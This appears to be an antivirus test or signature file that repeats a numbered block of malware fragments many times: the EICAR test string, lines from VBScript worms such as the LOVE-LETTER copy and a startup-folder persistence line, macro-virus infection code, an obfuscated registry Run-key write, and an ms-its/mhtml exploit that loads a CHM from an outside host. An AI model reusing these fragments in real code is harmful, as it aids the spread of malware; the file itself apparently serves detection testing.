 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

576

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

577

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

578

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

579

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

580

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

581

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

582

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

583

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

584

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

585

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

586

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

587

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

588

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

589

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

590

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

591

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

592

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

593

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

594

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

595

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

596

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

597

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

598

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

599

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

600

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

601

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

602

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
